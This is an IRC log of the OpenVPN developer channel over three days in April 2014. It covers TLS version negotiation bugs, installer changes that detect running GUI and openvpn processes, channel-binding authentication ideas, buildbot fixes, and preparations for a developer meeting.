think we need to actually "talk" about the tls-version patch, and subsequently, 2.3.4 release 06:48 <@plaisthos> I see the need for a disable TLS 1.1+ but I really don't like switch off TLS 1.1+ by default 06:49 <@cron2> I can live with both variants, but I'm not sure we can reach the necessary mutual understanding on the mailing list, so an IRC meeting might be better - you, james, syzzer 06:55 <@plaisthos> cron2: for 2.3.4 I am fine with switching to tls 1.0 only 06:55 <@plaisthos> but for 2.4 I really would like to have TLS 1.0+ 06:58 -!- mattock_afk is now known as mattock 07:10 <@mattock> cron2: re: meeting 07:10 <@mattock> will do 07:10 <@cron2> thanks 07:23 <@mattock> cron2: something like this? https://community.openvpn.net/openvpn/wiki/Topics-2014-04-24 07:23 <@vpnHelper> Title: Topics-2014-04-24 – OpenVPN Community (at community.openvpn.net) 07:27 <@cron2> yep, thanks 07:30 <@mattock> updated the page a bit 07:30 < n13l> hey all, are there some kind of installer bundle for openvpn plugins ? 07:30 <@mattock> n13l: for Windows? 07:30 < n13l> atleast :) 07:31 < n13l> btw it's a pitty plugin directive requires platform specific path and file extension 07:33 <@mattock> haven't seen any plugin packages for Windows 07:33 <@mattock> some plugins have been packaged for Debian and such 07:33 <@mattock> but those are in the distro's standard sotware repositories 07:43 <@cron2> mattock: your debian buildbot is highly drunk 07:44 <@mattock> lol 07:44 <@mattock> could be 07:44 <@mattock> upgraded polarssl and rebooted, haven't verified it's state yet 08:05 <@mattock> cron2: if you're referring to debian-6-i386 buildslave then I'd suspect odd things 08:05 <@mattock> I had to fix some problems it was having 08:09 <@cron2> mattock: yes, that one. Which is sending mails all the time :) 08:19 <@mattock> interestingly that node is unable to clone the Git repo 08:20 <@mattock> that's probably why it's spamming 08:21 <@cron2> mattock: something else that I just noticed - the 32bit installer has a different icon for openvpn-gui.exe than the 64bit installer?! 08:22 <@cron2> just installed 32bit for colleague A, and have the "new and shiny" icon on the desktop, and then 64bit I002 for colleague B, and have the old ugly one now 08:22 <@mattock> that shouldn't happen 08:23 <@mattock> I'll restart buildmaster 08:23 <@mattock> cron2: are you referring to the desktop icon? 08:23 <@mattock> or the icon in the system tray? 08:24 <@cron2> te deskto icon. the systray is new 08:26 <@cron2> forget what I said 08:26 <@cron2> this is windows 08:27 <@cron2> after installation (including uninstall first!) I had the old icon 08:27 <@cron2> now I did some testing, connecting/disconnecting, etc., and all of a sudden I have the new icon 08:27 <@cron2> wtf 08:27 <@mattock> "its Windows" :) 08:27 <@mattock> cron2: does this command work for you: 08:27 <@mattock> git clone git://git.code.sf.net/p/openvpn/openvpn-testing 08:28 <@mattock> that's supposed to work, but it doesn't for me, neither on the debian-6-i386 buildslave or my own laptop 08:28 <@mattock> the builds fail at the git clone step 08:29 <@cron2> maybe sf.net is finally borked. I had some issues yestreday when pushing - an error first, and it worked on retry 08:29 <@cron2> but besides this, it works for me right now 08:30 <@mattock> for me SF.net in general seems to be borked 08:30 <@mattock> maybe they're under a DDOS or something 08:30 <@mattock> that said, I did fix the repo URL in buildmaster's master.cfg - the URL which was used to check for changes was different from the one used to actually clone the repo 08:30 <@cron2> woops 08:31 <@mattock> not sure if they both lead to the same place 08:31 <@mattock> changes were from: git://git.code.sf.net/p/openvpn/openvpn-testing 08:31 <@mattock> cloning was from git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git 08:32 <@mattock> now both are git.code.sf.net 08:45 <@syzzer> hmm, I have this internal hacking competition at work, but I think I can be present for a meeting Thursday 08:45 <@cron2> it would be valuable to have you, james and plaisthos agree, I think 08:45 <@syzzer> yes, I totally agree 08:46 <@syzzer> although untill now I've completely agreeing with plaisthos, so I could just give him my vote it seems :p 08:47 <@syzzer> no, shouldn't be a problem. Gives me a nice excuse to explain me not being better than #colleague 08:48 <@syzzer> -> $colleague 08:50 <@plaisthos> For my client I got 3-4 broken tomato users and that's it 08:51 <@plaisthos> I wold really appricate if James has more infromation on the broken TLS comibinations if he could share it 08:53 <@cron2> syzzer: just use "lines of code accepted in openvpn" as a metric against your colleague. You'll win! 08:53 <@cron2> (well, andj would win, but we could make that "... in 2014" :) ) 08:54 <@cron2> mattock: I don't understand why your windows snapshot builder is not failing. 08:54 <@cron2> people tell me there is brokenness in -master for WIN32... 08:55 <@mattock> what kind of brokenness? 08:56 <@cron2> "it does not compile" (because plaisthos renamed stuff and forgot the windows bits) 08:56 < n13l> btw i can switch of tls layer completely for openvpn right ? 08:56 < n13l> if so. why i cant switch of cert authentication ? :) 08:56 <@cron2> you can (--client-cert-not-required or something like that) 08:57 <@cron2> well, and without tls, you can have point-to-point links with --secret $key 08:57 < n13l> cron2: yes i can with that option for client side only 08:57 <@cron2> there is no --server without TLS, period 08:58 <@cron2> without TLS, there is only point-to-point 09:00 <@cron2> (the whole "multiple clients, how do I identify them?" is woven into the TLS handshake) 09:00 < n13l> that's exactly what i am think about 09:01 < n13l> i did prototype of clien (qrcode) authentication/identification 09:01 < n13l> clien/client 09:04 < n13l> after handshake i popup qrcode based on derived keying materials 09:08 < n13l> there are some issues but im close to "functional prototype" 09:09 <@plaisthos> I have still no idea what you are trying to achieve 09:10 < n13l> well let's imagine there's tls under vpn without trusted certificates 09:10 < n13l> without password and such things ( because any authentication on top of non-confidental channel is useless anyway) 09:11 <@plaisthos> yes... so far so good 09:11 <@plaisthos> and how does a qrcode help you in this scenario to get any kind of security? 09:11 < n13l> after handshake:(re)negotiation i can derive keying material on both tls-endpoints 09:12 < n13l> there's existing confidental channel (doesnt matter what is based on) it's confidental 09:12 < n13l> my smartphone <-> server 09:12 < n13l> it's a side channel 09:13 < n13l> openvpn client derive keying material and construct qr code based on identifier+secret (tls_channel_id + exported keying material [RFC5705]) 09:14 < n13l> server endpoint will do the same and if there's MITM (who offer his public key in the middle) 09:14 < n13l> phone will make photo of qrcode and get secret+identifier 09:14 < n13l> and using his confidental side channel with the server 09:15 < n13l> if identifier+secret are authenticated using the side channel 09:15 < n13l> openvpn server can authenticate his tls channel 09:15 < n13l> that qrcode is only one usecase 09:15 < n13l> it's more about channel bindings 09:16 < n13l> if there's some confidental channel exist then it can be used for authentication of another tls (without need of certificates: revocation/expiratin etc) 09:16 <@plaisthos> ah so you are using the qr code to check if the session is safe or has been mitm basically 09:17 < n13l> i using it for TLT authentication 09:17 < n13l> yes i can detect/avoid MITM 09:17 <@syzzer> plaisthos: basically EKM can do two things: 1) authenticate peers over another trusted channel (if you don't want to do the regular certificate authentication for some reason), or 2) provide some sort of session binding to a higher layer (which then relies on the TLS channel auth) 09:17 <@syzzer> or both, ofc :) 09:17 < n13l> i need to improve my english :( syzzer explained that in 2 lines 09:19 < n13l> syzzer: hi:) btw i am looking optimal way how to do no block server in TLS_FINAL and wait for result of channel bindings 09:19 < n13l> something similar is allready done for user/pass 09:19 <@syzzer> so, from a cryptographical perspective, you could argue for disabling server auth too. However, from a usability / crypto-noob-user perspective, I don't really like that. 09:20 <@syzzer> so - at least for now - this could be an alternative to user/pass auth 09:21 < n13l> syzzer: i can understand such argument because i hear that often :) 09:24 < n13l> syzzer: i can see user/pass layer pretty usefull in openvpn for channel bindings (could be use as and signal that bindins were done) 09:24 < n13l> syzzer: the problem is i cant see way how to specifi some kind of derivate as an password 09:25 <@syzzer> user/pass auth is just a traditional uppper-layer client auth 09:26 < n13l> syzzer: do you think that's bad idea to use that layer without user interaction ? 09:26 <@syzzer> hmm, or maybe I don't understand what you're trying to say :p 09:26 < n13l> ok let me explain :) 09:26 < n13l> let's say we doin channel bindings inside openvpn 09:27 <@syzzer> is the client trusts the server, because it is authenticated through TLS, it can send the server it's user/pass for verification, no problems there 09:27 < n13l> right now i need to wait in TLS_FINAL (serve side) because side channel authentication can cost some time 09:28 < n13l> i thinking about returning from TLS_FINAL and then send user/pass as an signal of authentication (that means channel bindings is done) 09:29 < n13l> user/pass should be another crypto derivate from EKM 09:29 <@syzzer> ah, right. That should be possible with the right plugins at both sides. 09:30 < n13l> but the problem is that there is only option which can read pass from file (it seems not for production use or something) 09:30 < n13l> of course that user/pass modal dialog is not interested for this case :) 09:31 <@syzzer> hmm, yes, that's true. But is password are single-use, you could even let the user type in some short password / access code. 09:32 < n13l> i dont like passwords in general :( 09:33 < n13l> let's skip user interaction when it's not necessary 09:34 <@syzzer> that would of course be nice 09:34 < n13l> im stil reading code but i think that patch which allows use of that user/pass layer plugins should be maybe pretty small 09:34 < n13l> of course with some caution that should not be used for transfer sensitive data like master secret etc:) 09:35 <@syzzer> being able to use a client-side plugin that handles authentication sounds like a nice feature :) 09:35 < n13l> i think so 09:35 <@syzzer> you could use the management interface there, if you don't want to add code. 09:36 < n13l> i think that's not complicated (thats important) and it's safe 09:36 < n13l> syzzer: hmm will look at management interface then 09:36 <@ecrist> that's what tunnelblick does to interact from the Mac Keychain 09:36 <@ecrist> might be a good place to start for reference 09:36 < n13l> thank for hint! 09:38 < n13l> syzzer: btw any finished opinions related to EKM patch ? ;) 09:42 < n13l> there's no runtime check for older openssl < 1.0.2 but i think that it's point less to build against >= 1.0.2 and then link against older 09:42 < n13l> so build time check should be imho enough 09:43 < n13l> openssl < 1.0.2 missing SSL_export_keying_material 09:43 < _bt> mattock: pull request sent :) 09:43 <@mattock> _bt: that was quick 09:44 < _bt> hope its all good for you 09:44 <@cron2> _bt: woot, you're my hero :-) 09:45 <@cron2> (I'm fighting lots of updates right now here at $corp, and half of them forget to stop the gui before updating) 09:45 < _bt> are they all using the GUI from the installer? 09:46 <@cron2> yep 09:46 < _bt> well that should sort things : ) 09:46 <@cron2> non-sophisticated users, I tell them "klick on that installer binary!" and they trust me enough to do that :-) (I *hope* they will not do that for just anyone) 09:46 <@cron2> _bt: where can I see the pull req? 09:46 <@mattock> https://github.com/OpenVPN/openvpn-build/pull/5/files 09:46 <@vpnHelper> Title: end running openvpn-gui.exe process by freddysdad · Pull Request #5 · OpenVPN/openvpn-build · GitHub (at github.com) 09:46 < _bt> https://github.com/OpenVPN/openvpn-build/pull/5 09:46 <@vpnHelper> Title: end running openvpn-gui.exe process by freddysdad · Pull Request #5 · OpenVPN/openvpn-build · GitHub (at github.com) 09:47 < _bt> oops 09:48 <@mattock> _bt: there seem to be some minor whitespace issues, lines 58/51, 80/88 09:48 <@cron2> what will happen if "goto guiEndYes" never terminates because the gui is refusing to stop? Or is WM_CLOSE something a program cannot ignore? 09:48 < _bt> the GUI is programmed to respond to WM_CLOSE 09:49 <@mattock> also, will the WM_CLOSE kill the GUI gracefully, so that old openvpn instances won't be left lying around messing things up? 09:49 <@cron2> seems like it 09:49 <@mattock> ok, good 09:49 < _bt> its the most graceful way to end the gui 09:49 <@cron2> but what will happen if the gui has crashed, and will not respond? will our installer then also hang until reboot? 09:50 < _bt> it's not something i can mimic easily 09:50 <@cron2> but besides that detail, I really like what I'm seeing :-) 09:50 < _bt> unless i rebuild the GUI to halt 09:50 <@cron2> feature-ACK! 09:51 <@syzzer> n13l: no, sorry :( yesterday some other stuff (patches on my own) came up on the mailinglist, and had to visit family after that. And since it is touching critical parts, and want to take a real good look. I'll keep you posted :) 09:51 < _bt> let me do some more testing : ) 09:52 <@cron2> there's one thing that will not work for my users here: the "start gui right away" is cool, but they all have no admin rights, so they need to check the "[X] start as admin" compatibility box first 09:52 <@cron2> :( 09:52 <@cron2> but I still like that addition :) 09:58 < _bt> can you elaborate on that 09:58 < _bt> i think i know what you are saying 09:58 <@cron2> _bt: my users need to run the gui "run as admin" 09:58 <@cron2> because they have no permission to set up routes / call netsh to set ipv6 addresses 09:59 * cron2 does not truly understand windows permissions 09:59 < _bt> won't the installer be run as admin ? 09:59 <@cron2> it will 09:59 < _bt> so start the gui shouldn't fail? 09:59 <@cron2> so which permissions will the gui have when starting it from the installer? 09:59 < _bt> same as what the installer was started with 09:59 <@cron2> let's give that a try :) 10:03 < _bt> ok i need to dig deeper on this 10:04 < _bt> when WM_CLOSE is sent when an active connection is present, the gui wants confirmation to close 10:04 <@cron2> that is good enough, I thnik 10:04 <@cron2> so the installer will just wait patiently 10:04 < _bt> same when the user/pass auth box is open 10:04 < _bt> waits patiently to be closed 10:05 < _bt> i think i can do something with that though 10:19 < _bt> mattock: i can't see the whitespace issues - can you point them out to me? 10:19 <@mattock> _bt: check your pull request, lines 58/51, 80/88 10:19 <@mattock> old/new 10:21 < _bt> hmm 10:21 < _bt> im not seeing the issue you mention 10:22 < _bt> i see 80/88 where i removed 2 trailing whitespace 10:29 <@cron2> I think 58/51 might be a diff artefact due to surrounding code moving around 10:29 <@cron2> (I do not see the change that the difftool is flagging) 10:31 < _bt> has anybody tested how the installer/uninstaller works if there is an active openvpn connection not managed/started by the GUI? 10:32 <@cron2> I assume the uninstaller will silently leave openvpn.exe + all .dll in use behind 10:32 < _bt> yeah 10:32 <@cron2> ("as it does today when the gui is running") 10:32 < _bt> i think that is happening 10:32 < _bt> so its another problem that needs sorting as part of these changes? 10:33 < _bt> maybe we could just detect openvpn running and make the user sort that out themselves 10:33 <@cron2> if we can easily find running openvpn.exe...? 10:33 <@cron2> yeah, that 10:33 < _bt> okay 10:45 < _bt> ok well 10:45 < _bt> i can't use the same method to detect running openvpn process because it doesn't create a window (even a hidden one) 10:45 < _bt> thus i'll have to use nsis plugins, which ideally i didn't want to do 10:45 < _bt> is that a problem? 10:56 * cron2 doesn't know - what would make it a problem? 10:57 < _bt> guess its a non problem 11:20 <@cron2> then it sounds like a non-problem :-) (I do not kow enough about nsis to understand whether it's a problem, but if it's something that is "already there and we just need to use it", it sounds non-problemy to me) 11:20 <@cron2> anyway, need to go... bbl 11:55 < _bt> ill get back on this tomorrow 13:34 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 14:37 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 18:49 -!- raidz is now known as raidz_away --- Day changed Wed Apr 23 2014 01:59 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:46 < _bt> morning 03:46 < _bt> cron2: around? 03:56 < _bt> ok basically i've got openvpn.exe process detection working 03:56 < _bt> but it requires an external pluging for nsis 03:56 < _bt> shall i add those plugin files to the repo? 04:54 <@cron2> _bt: so that's something which is not normally shipped? 04:54 <@cron2> "I'd just add it" 04:55 <@cron2> but mattock is the one to decide. As far as installers go, I'm just a user, always complaining and asking about extra features 04:56 < _bt> well 04:56 < _bt> its not normally shipped with the nsis install system 04:56 < _bt> as far as you (as a user) is concerned, you won't see anything different 04:56 < _bt> its only an additional requirement for the builder 04:57 <@cron2> "just add it" :) 04:57 < _bt> the next question was how would people feel about an extra option on the finish page "Start OpenVPN automatically" 04:58 <@cron2> I don#t think this is particularily useful. GUI, yes, OpenVPN, no 04:59 < _bt> i'd have thought the opposite? 04:59 < _bt> how do people start the openvpn service usually? 05:20 <@syzzer> plaisthos: thanks for taking a look at the EC patches! 05:20 <@syzzer> but I have new versions pending :p 05:20 <@plaisthos> of he ec patches? 05:21 <@syzzer> because the polar 1.3 patches are in, I wanted to update them to remove the "ec not supported by polarssl" stuff 05:21 <@plaisthos> syzzer: better let cron2 commit those two patches now and then add a 3rd for polarssl ec stuff 05:22 <@syzzer> also, dazo pointed out that rhel does not have ec in their openssl, so I had to add #ifdefs :( 05:22 <@plaisthos> :( 05:23 <@syzzer> ah, and janjust had some valid remarks on improving error reporting. Still, the patches will be very much alike :) 05:25 <@syzzer> since the #ifdefs really need to be in there in the first place (otherwise RHEL builds break...), I think it is better to just send updated patches 05:25 <@syzzer> oh, and I agree with you about scripts vs sample keys. But we'll do that in a later commit. 05:31 <@plaisthos> hm 05:32 <@plaisthos> should I ignore 4.1 and 4.1.1 people and point them to a special app or double the app size for everyone? 05:47 <@syzzer> don't double the app size for everyone... 05:47 <@syzzer> that really sucks for older devices 05:47 <@plaisthos> Old as in Android 4.0 devices 05:48 <@cron2> plaisthos: anything recently ACKed that I overlooked? 05:48 <@syzzer> still, lots of cheap 4.x devices with limited storage out there 05:48 <@plaisthos> cron2: one or two hours ago 05:48 <@cron2> ah, there (just came back from luch :) ) - will do tonight 05:49 <@plaisthos> I semi NACKed on of James patches 05:50 <@cron2> plaisthos: feeling lucky today, are you? ;-) (I see what you mean, and this particular bit of code is a bit of a sore thumb... since quite a while now) 05:51 <@cron2> syzzer: so shall I merge 2/2 now, or not? 05:59 <@syzzer> cron2: yeah 2/2 can be merged now :) 06:00 <@syzzer> I'll send a reworked 1/2 later (hopefully tonight...) 06:08 <@cron2> ah, the other way round 06:12 < _bt> hi cron2. ive got the installer working much better now. 06:12 < _bt> the gui detection runs first, and asks the user if it should be closed automatically. this works fine if the vpn is or is not connected 06:14 < _bt> but if the gui is in a state where its asking for a password (or some other connecting state), the open gui windows won't close until manually closed, and then it leaves an openvpn process running 06:14 < _bt> at which point the installer complains that an openvpn process is running, and thus exits after notifying the user 06:15 < _bt> i can't fix this without modifying the GUI, which i am willing to do, but only if someone moves the project to the openvpn github 06:15 < _bt> as things stand though the installer should be fine 06:23 <@cron2> _bt: this already sounds like an improvement to me, and the rest can be fixed for 2.3.5 :-) 06:23 <@cron2> (a *big* improvement) 06:39 < _bt> https://github.com/freddysdad/openvpn-build/commit/65e5ac877795ca6e642d8880f50c3af361034a49 06:39 <@vpnHelper> Title: Detect running openvpn.exe processes that may prevent install · 65e5ac8 · freddysdad/openvpn-build · GitHub (at github.com) 06:47 <@cron2> looks good to me 06:47 <@cron2> mattock: please merge :) 06:47 <@cron2> d12fk: are you around? 06:48 < _bt> not sent pull request yet will do shortly 06:51 <@d12fk> jup 06:51 <@d12fk> cron2: ^ 06:55 <@d12fk> _bt: why don't you clone the sf.net repo? 07:18 <@cron2> d12fk: ah, cool. Could you send the patchset you have for --setenv IV_GUI_VER to the -devel list? You sent a binary to mattock (which, I think, he couldn't get to work) so this might be a quicker way to look at it, and test stuff 07:26 < _bt> d12fk: yeah ok i will do that 07:26 < _bt> can you link me to the correct one please? 07:29 <@d12fk> cron2: it's actually just http://pastebin.com/2MU8cLwg I'd rather push it out like there's o tomorrow 07:32 <@cron2> well, that's easy enough :-) - looks good to me 07:32 <@d12fk> _bt: git://git.code.sf.net/p/openvpn-gui/code 07:32 < _bt> https://github.com/OpenVPN/openvpn-build/pull/6 07:32 <@vpnHelper> Title: Detect running openvpn.exe processes that may prevent install/upgrade by freddysdad · Pull Request #6 · OpenVPN/openvpn-build · GitHub (at github.com) 07:32 <@cron2> one thing: PACKAGE_STRING - what I'm really after is a way to include the installer version (aka "build") into that string 07:33 <@cron2> so we can differenciate 2.3.5 with gui 6, build I003 from 2.3.5 with gui 6, build I004 07:33 <@d12fk> _bt: you'd just need to send the ID_CANCEL button event to the dialog proc, ovpn.exe will be terminated in that case anyway 07:34 <@d12fk> at least iirc 07:34 < _bt> yeah 07:34 < _bt> i'll work on that this afternoon 08:11 <@d12fk> cron2: just -D PACKAGE_STRING in that case 08:42 <@cron2> d12fk: now this sounds something I should be able to convince mattock of :-) - what does PACKAGE_STRING default to? 08:58 <@d12fk> it's the autoconf package string, project name + version 11:09 -!- raidz_away is now known as raidz 13:25 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 15:12 <@syzzer> hmpf, reproducing this TLS issue is not easy... 15:18 <@plaisthos> I guess so :/ 15:21 <@cron2> especially as it's not hitting everyone. We run 2.3.3-windows to git-master(on ubuntu 12.04) without any issues 15:21 <@cron2> (but at least "we" have an idea now where to look :) ) 15:22 <@syzzer> I just sent a mail to the mailinglist, not sure if you've received it, it seems to still be somewhere in a queue 15:22 <@plaisthos> sf does gray listing 15:22 <@syzzer> but I grabbed my py, built 2.3.3, connected with a windows client - works perfectly... 15:23 <@syzzer> uh, grabbed my pi that is 15:23 <@plaisthos> syzzer: with fedora on that pi? 15:23 <@syzzer> no, he's running debian (I guess raspbian) on the pi 15:24 <@plaisthos> iirc the orignal sumbitter ran Fedora on it 15:24 <@syzzer> nope, check https://community.openvpn.net/openvpn/ticket/385#comment:2 15:24 <@vpnHelper> Title: #385 (Regression: 2.3.3 windows client fails with arm server 2.3.3) – OpenVPN Community (at community.openvpn.net) 15:24 <@cron2> syzzer: not yet 15:26 <@plaisthos> oh fedora was the client 15:26 <@cron2> George Ross - who also has this problem, on -users - is also running some RedHat variant 15:26 <@cron2> openssl-1.0.1e-16.el6_5.7.x86_64 15:29 <@cron2> (says both on the client and the server) 15:31 <@plaisthos> that is even more strange 15:52 <@syzzer> hmm, -users, I should really subscribe there too :p 16:04 <@syzzer> I think this George Ross has a different problem, he's probably just using too short RSA keys. 16:05 <@syzzer> TLS v1.2 allows for new (longer) message digests, and adds support for PKCS#1 v2.1, for which the lotal length can become a lot bigger then SHA1 + PKCS#1 v1.5 16:06 <@syzzer> it would have been nice if OpenSSL had automatically detected this and not listed the large hashes as options for the server... 16:16 <@plaisthos> The more I learn about this whole TLS/SSL/OpenSSL stuff the more I distrust the whole TLS stack :/ 16:17 <@plaisthos> One of the most integral part of our modern communication and it is extremely complicated and undebuggable mess riddled with incompatibilities 16:32 <@syzzer> yup... 16:33 <@syzzer> time for a NaCL backend? 16:33 * syzzer peeks in his calendar. Nope, not this year :p 17:10 <@syzzer> cool, mailed Timothe earlier tonight with a hunch, and I appear to be right. When he replaces his cryptoapicert ('window keystore / crypto token API') key/cert with regular file-based key/cert the issue disappears! 17:10 <@syzzer> so, it's actually not the version nedotation, it's just new TLS features triggering other bugs... 20:02 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 20:34 <@vpnHelper> RSS Update - tickets: #395: Evaluating quoted path & file config statements syntax (Win32) <https://community.openvpn.net/openvpn/ticket/395> --- Day changed Thu Apr 24 2014 00:22 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 00:22 -!- mode/#openvpn-devel [+o cron2] by ChanServ 01:40 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:40 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 01:40 -!- mattock_afk is now known as mattock 01:54 <@cron2> mornin' folks 01:55 <@cron2> mattock: you've seen the great things _bt has come up with? 01:55 <@mattock> I've seen nothing since Tuesday evening 01:56 <@mattock> do we have full openvpn-gui.exe detection/killing now? 01:56 <@cron2> yes 01:56 <@cron2> openvpn-gui.exe detection-and-WM_CLOSE'ing, and openvpn.exe detection-and-stop-installer 01:58 <@mattock> nice! 01:58 <@mattock> this will be good stuff for the NDIS 6-enabled version of OpenVPN 2.3.3 01:59 <@mattock> for initial testing 01:59 <@cron2> this will also be good stuff for 2.3.4 :-) 01:59 <@mattock> yes 03:03 <@cron2> what is the current meeting time? $now + 9h or $now + 10h? I'm all confused 03:04 <@syzzer> I expected $now + 10h 03:08 <@cron2> wfm 03:33 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 04:02 <@plaisthos> So we have the crypto API under windows which breaks for != MD5 hashes 04:03 <@plaisthos> (I had the same problem on Android btw.) 04:11 <@cron2> plaisthos: short side-track: if you're still fine with syzzer's ECDH stuff ("which looks reasonable to be, but what do I know"), please ACK again 04:42 <@mattock> fyi: Timothy asked for static links to latest OpenVPN releases, so here they are: http://build.openvpn.net/downloads/releases/latest/ 04:42 <@vpnHelper> Title: Index of /downloads/releases/latest/ (at build.openvpn.net) 04:43 <@mattock> they are briefly mentioned on the community download page so that people don't accidentally download them and make our debugging harder 05:07 <@plaisthos> cron2: yeah haven't had time to look at the new patches 05:08 < _bt> hi guys 05:08 < _bt> just working on some gui updates 05:09 < _bt> i downloaded the source from sf.net - is this definitely the version used? ( <d12fk> _bt: git://git.code.sf.net/p/openvpn-gui/code ) 05:09 <@d12fk> yes 05:09 < _bt> the resource icons are different 05:09 < _bt> to what is included in the installer 05:09 <@d12fk> they have been updated recently 05:09 < _bt> is that repo not up to date fully then? 05:09 <@cron2> d12fk: have you pushed the IV_GUI_VER already? 05:09 * d12fk looking 05:10 <@d12fk> nope it's up to date 05:10 < _bt> ok where shall i pull the updated icons from? 05:11 <@d12fk> they are in the repo 05:12 <@d12fk> commit 060da9 05:12 < _bt> i cloned that repo yesterday and got old icons :Z 05:13 <@d12fk> yes, pushed the stuff yday 05:13 < _bt> haha, that explains it then 05:13 <@d12fk> git status should tell you 05:21 < _bt> well 05:21 <@cron2> new icons again? 05:21 < _bt> i just re-cloned and it still has those old icons 05:22 <@d12fk> what does git show 060da9 do 05:23 < _bt> http://pastebin.com/pMALsG8N 05:23 <@d12fk> that look ok 05:25 <@d12fk> $ md5sum.exe res/connected.ico 05:25 <@d12fk> 6749524995115f3d76ca59a8157cb3c7 *res/connected.ico 05:25 < _bt> tim@oceania:~/git/openvpn-gui-code$ md5sum res/connected.ico 05:25 < _bt> 6749524995115f3d76ca59a8157cb3c7 res/connected.ico 05:25 < _bt> ummm 05:25 <@d12fk> conrats you have the new icons =) 05:25 <@d12fk> +g 05:26 < _bt> maybe windows is caching icons or something 05:26 < _bt> as they are showing as old ones for me 05:26 <@d12fk> that i dont know 05:26 < _bt> can you double check your icons 05:26 < _bt> are the new ones 05:27 <@d12fk> the ones with the lock are new 05:27 < _bt> OH 05:27 < _bt> HA 05:27 < _bt> hahaha 05:27 < _bt> well then that explains things doesn't it hahaha 05:27 <@d12fk> indeed 07:46 -!- debbie10t [~ma1com10t@host-92-20-12-238.as13285.net] has joined #openvpn-devel 07:51 < debbie10t> Hi: I just noticed that - if you use "ifconfig push IP_add Mask" (note the missing dash between ifconfig and push) in a CCD file NO ERROR is thrown and the client gets an IP_add from the pool .. when the same is put into the main config this error is thrown: Options error: ifconfig parms 'push' and IP_add must be valid addresses - would that qualify as a bug and do you want a bug-rep raised ? 08:00 <@mattock> ecrist: sent you mail about the PRIVATE status of this channel (as well as #openvpn) 08:01 <@mattock> basically our channels are not listed in Freenode channel listings and are thus invisible to some chat clients such as Chatzilla 08:05 <@cron2> inside ccd, bugs are "tolerated", I think - so it's recognizing this as "bug" and just ignoring the statement 08:06 < _bt> channel private status is set with mode +s 08:06 < _bt> just set -s and it will show in list if thats what you want 08:07 <@mattock> _bt: does that change stick? 08:07 < _bt> yes 08:07 < _bt> as long as you don't have bots that change it back 08:07 <@mattock> I will have to verify that 08:07 < _bt> try /mode #openvpn -s 08:07 <@mattock> ecrist will know about that 08:07 < _bt> and /mode #openvpn-devel -s 08:08 < _bt> #openvpn should now show in /list ... 08:11 * ecrist looks 08:13 <@ecrist> I'm not opposed to removing private status. It was initially set that way in 2008 08:14 -!- mode/#openvpn-devel [-s] by ecrist 08:16 <@ecrist> this channel had MLOCK set to +ntrs, I've removed the +s so chanserv won't enforce it 08:16 <@ecrist> the main channel didn't have it set. 08:21 <@ecrist> mattock: ^^^ 08:21 <@mattock> ecrist: ok, thanks! 08:22 <@ecrist> I also removed the PRIVATE channel flag from both channels 08:22 <@mattock> yeah, both channels now show with the list command 08:28 < _bt> smashing 08:42 <@ecrist> debbie10t: file a ticket on trac, please. 08:42 < debbie10t> ecrist: <cron2>inside ccd, bugs are "tolerated", I think - so it's recognizing this as "bug" and just ignoring the statement 08:43 < debbie10t> I presumed by that it was expected behaviour and not a bug ? 08:43 <@cron2> it should log this into the server log, but it definitely should not abort the server 08:43 <@cron2> so "not aborting" is a feature. If there is no hint in the log, that would be a bug 08:44 <@ecrist> what cron2 said 08:44 <@ecrist> should be logged, but shouldn't cause abort 08:44 < debbie10t> ok 08:44 < debbie10t> I will double check my log 08:45 <@cron2> (one could argue for "reject this user, so errors are made more visible", but I have no idea how complicated this is to implement) 08:46 < debbie10t> Server log shows - Options error: option 'ifconfig' cannot be used in this context (CCD\client1) 08:47 < debbie10t> so error is logged but not aborted .. as prescribed 08:47 <@ecrist> sounds good to me 08:47 < debbie10t> does it need a trac @? 08:47 <@ecrist> no 08:47 <@ecrist> check this, if you don't mind 08:47 < debbie10t> ok thanks 08:48 <@ecrist> have a client-connect script and compare the environment variables when there is an error and when there is not an error 08:48 < debbie10t> ok 08:48 <@ecrist> see if it's evident in the vars, so a connect script could act on it 08:56 < debbie10t> No - there are no variables set to indicate any error in the env (Windows set) 08:58 < debbie10t> The server simply selects from the pool -- going to try without a pool defined (no --server just --ifconfig --mode server) 08:59 <@cron2> nah, this is not to be expected 09:00 <@cron2> there is nothing in the option handler that would influence client-connect environment 09:07 -!- debbie10t [~ma1com10t@host-92-20-12-238.as13285.net] has quit [Ping timeout: 255 seconds] 09:28 -!- debbie10t [~ma1com10t@host-92-20-12-238.as13285.net] has joined #openvpn-devel 09:38 < debbie10t> ecrist: Regarding "ifconfig push" CCD syntax error: Altho there is no variable set to indicate an error .. $ifconfig_pool_remote is NOT set if no ifconfig parameter is in config or CCD .. so it is possible to test with a script if a valid ip_add was pushed 09:40 < debbie10t> well - it is possible to check if A ip_add was pushed .. valid or not 09:52 -!- debbie10t [~ma1com10t@host-92-20-12-238.as13285.net] has quit [Ping timeout: 255 seconds] 11:27 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 12:50 <@syzzer> good evening! 12:50 <@mattock> hi! 12:59 <@plaisthos> hm looks like most of the 1.2 troubles appear to be the larger hashes 13:00 <@mattock> ok, the meeting is about to begin 13:00 <@mattock> a few months since the last time 13:00 <@cron2> moh 13:01 <@mattock> here are the topics: https://community.openvpn.net/openvpn/wiki/Topics-2014-04-24 13:01 <@vpnHelper> Title: Topics-2014-04-24 – OpenVPN Community (at community.openvpn.net) 13:02 -!- timothe [~chatzilla@2001:4830:11a2:941:3d00:f28b:3677:42d8] has joined #openvpn-devel 13:02 <@syzzer> ah, good timothe is joining too! 13:02 <@mattock> hi timothe! 13:03 < timothe> Not sure how long I can stay, but thought I'd drop in since I've been browsing... 13:03 